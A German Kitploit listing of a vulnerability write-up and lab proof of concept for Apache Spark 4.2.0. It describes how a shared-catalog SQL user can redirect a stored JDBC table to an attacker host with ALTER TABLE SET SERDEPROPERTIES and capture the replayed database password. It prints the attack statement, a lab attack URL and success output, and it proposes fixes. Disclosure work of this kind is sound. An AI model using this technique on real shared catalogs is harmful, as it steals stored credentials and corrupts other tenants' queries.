Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
spark-jdbc-serde-url — Apache Spark 4.2.0 – Hoch – Remote – JDBC-URL-Injection – ALTER TABLE SET SERDEPROPERTIES | Kitploit
Tools/GitHubGitHub/abraxas/spark-jdbc-serde-url
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPapers & ForschungRed TeamingDatenbanksicherheitLabs & Praxis
GitHubabraxas/spark-jdbc-serde-url

spark-jdbc-serde-url

Apache Spark 4.2.0 – Hoch – Remote – JDBC-URL-Injection – ALTER TABLE SET SERDEPROPERTIES

Repository anzeigen
vor 2 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Abraxas Labs - spark-jdbc-serde-url

abraxaslabs.tech  ·  github.com/abraxas  ·  @abraxas_null  ·  [email protected]  ·  spark-jdbc-serde-url

spark-jdbc-serde-url

Klasse: JDBC-URL-Injection Reichweite: Remote

Apache Spark 4.2.0 (32f72996) - Apache Software Foundation

SPARK-31710 hat verhindert, dass zusätzliche Optionen zur Scan-Zeit eine gespeicherte JDBC-url überschreiben. ALTER TABLE SET SERDEPROPERTIES wird weiterhin in storage.properties eingefügt, was die JDBC-Scan-Options-Map ist. Gespeicherte user / password sind keine Spark-JDBC-Optionsnamen, daher werden sie an die neue URL weitergegeben.

Ein SQL-Benutzer eines gemeinsam genutzten Katalogs kann eine vom Betreiber bereitgestellte USING jdbc-Tabelle umleiten und das gespeicherte Datenbankpasswort an einen von ihm gewählten Host wiedergeben.

IDnoch keine CVE
KlasseJDBC-URL-Injection / Wiederverwendung gespeicherter Anmeldedaten (Überbleibsel von SPARK-31710)
ReichweiteRemote (Connect oder Hive Thrift SQL auf einem gemeinsam genutzten Katalog)
CWECWE-15, CWE-522
CVSSHoch: 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
ProduktApache Spark
Betroffen4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8) SQL v1 JDBC-Tabellen
AuthSQL-Benutzer eines gemeinsam genutzten Katalogs (kein Job-Submit-JAR)
LizenzGNU Affero GPL v3.0
Labnur 127.0.0.1:18960

Was ein Angreifer tun kann

Eine Connect-gRPC-SQL-Sitzung oder Hive-Thrift-SQL-Sitzung auf einem gemeinsam genutzten externalCatalog, der bereits eine persistente USING jdbc-Tabelle mit gespeicherten Anmeldedaten enthält. Kein Job-Submitter. Nicht die Sitzung, die die ursprüngliche URL benannt hat.

MethodeSenkeBerechtigung
ALTER TABLE t SET SERDEPROPERTIES ('url' = '<attacker-jdbc>') dann REFRESH TABLE t / SELECTstorage.properties ++ serdeProperties dann JDBC Driver.connect(url, properties)Integrität: Umleitung der bereitgestellten Tabelle auf einen Angreifer-Listener. Im Lab nachgewiesen (connect=yes). Vertraulichkeit: Wiedergabe der gespeicherten DB-user / password beim PostgreSQL-Startup und bei Klartext-Authentifizierung. Im Lab nachgewiesen (user-replay=true password-replay=true). Recon des Geheimnisses via SHOW CREATE ist geschlossen (redigiert).
Gleiches Persistieren, späteres SELECT eines anderen Mandanten auf tZeile des gemeinsam genutzten KatalogsIntegrität, abgeleitet: Abfragen anderer Sitzungen gegen t treffen nun die neue URL (falsche DB, vom Angreifer kontrollierte Zeilen). Verfügbarkeit, abgeleitet: ursprüngliche DB ist nicht erreichbar, bis ein Administrator das Serde zurücksetzt. Außerhalb der Messlatte für DoS.
Zusätzliche Serde-Schlüssel (sessionInitStatement, prepareQuery, driver)Scan-Optionen auf übrig gebliebenem user / passwordIntegrität, abgeleitet: zusätzliche Statements oder ein Classpath-Driver-No-Arg-Konstruktor. Nicht ohne Default-Classpath-Gadget zu RCE aufblähen. Nicht ausgeführt.
ALTER TABLE SET TBLPROPERTIESnur CatalogTable.propertiesFür diesen Durchlauf geschlossen. Im Lab nachgewiesen (Storage-url unverändert, kein Oracle-Treffer).
Kollision der zusätzlichen Scan-Zeit-Option urlSPARK-31710 generateDatasourceOptionsGeschlossen. Im Lab nachgewiesen (extra-options-clash abgelehnt).
spark.read.format("jdbc").option("url", ...) von derselben Sitzung benanntbeabsichtigte Data-PlaneVERWORFEN. Vom Eigentümer kontrollierte URL ist nicht dieses Überbleibsel.
SET SERDE '<class>' auf einer Datasource-TabelleKlassennameGeschlossen (UNSUPPORTED_FEATURE.ALTER_TABLE_SERDE_FOR_DATASOURCE_TABLE). Nicht ausgeführt.

Angrenzend geschlossen: von der Sitzung benannte JDBC- / Dateipfade. Kollisionsprüfung von spark.sql.legacy.extraOptionsBehavior. OSS Spark hat keine Unity externalOptionsAllowList. CREATE TABLE-URL ist vom Eigentümer kontrolliert (nicht dieses Überbleibsel). JDBC-URL-Log-Redaktion ist bedingungslos. Dateitabellen-path liegt in locationUri. JDBCTableCatalog-Verbindungen stammen aus der Sitzungskatalog-Konfiguration (gleiche Data-Plane wie die Wahl einer URL). Einzelbenutzer-pyspark ohne gemeinsam genutzten Katalog liegt außerhalb des Modells.

Wie ich es gefunden habe

Ich habe Spark 4.2.0 gepinnt, nicht master und nicht ein 4.3 RC. Job-Submit auf einem offenen Cluster ist beabsichtigt. Die interessanten Überbleibsel liegen neben benannten Fixes. SPARK-31710 / generateDatasourceOptions lehnt eine andere Scan-Zeit-url für einen bestehenden Serde-Schlüssel ab. SET TBLPROPERTIES schreibt nur table.properties. Datasource-Tabellen erlauben weiterhin SET SERDEPROPERTIES und fügen in storage.properties ein (++, spätere Schlüssel gewinnen). user und password gelangen nie in jdbcOptionNames, daher übergibt asConnectionProperties sie an Driver.connect.

properties = table.storage.properties ++ serdeProperties.getOrElse(Map())
driver.connect(jdbcOptions.url, properties)

SHOW CREATE redigiert password. Der SQL-Benutzer kann das Geheimnis nicht zurücklesen. Er kann es trotzdem weiterverwenden.

Bereits festgehaltene Irrwege: die CREATE TABLE-URL als den Bug zu behandeln; die Extra-Options-Kollision erneut zu melden; zu erwarten, dass SET TBLPROPERTIES den Storage verschiebt; zu behaupten, SHOW CREATE leakt das Passwort; einen vollständigen Cluster laufen zu lassen, wenn das zitierte Scala ein Gadget ist; eine Reverse Shell. Das Oracle ist ein PostgreSQL-Startup plus Klartext-Authentifizierung auf Loopback.

Lab

cd lab
./run.sh

Loopback 127.0.0.1:18960 ist ein PostgreSQL-Protokoll-Listener. HTTP-Health ist 127.0.0.1:18961. Der Gadget-Container ist Temurin 21 plus libpostgresql-jdbc-java. Gespeicherte URL ist jdbc:postgresql://127.0.0.1:1/provisioned (Verbindung abgelehnt). Angriffs-URL ist jdbc:postgresql://oracle:18960/stolen. Gespeicherter Benutzer spark_jdbc. Gespeichertes Passwort stored-secret-SPARK-JDBC-SERDE-URL. Binde es an Loopback.

SUCCESS SPARK-JDBC-SERDE-URL connect=yes user-replay=true password-replay=true SPARK-JDBC-SERDE-URL-WITNESS

Der Fix

Lehne SET SERDEPROPERTIES-Schlüssel ab, die mit gespeicherter JDBC-url / user / password kollidieren, dieselbe Prüfung, die generateDatasourceOptions bereits für Scan-Zeit-Extras ausführt. Oder verwerfe gespeicherte user / password, wenn sich url ändert. Oder behandle Datasource-JDBC-Serde als Tabelleneigenschaften, nicht als Storage. Bis dahin gewähre nicht vertrauenswürdigem SQL kein ALTER TABLE auf einer persistenten USING jdbc-Tabelle, die ein Passwort speichert.

Referenzen

Tool herunterladen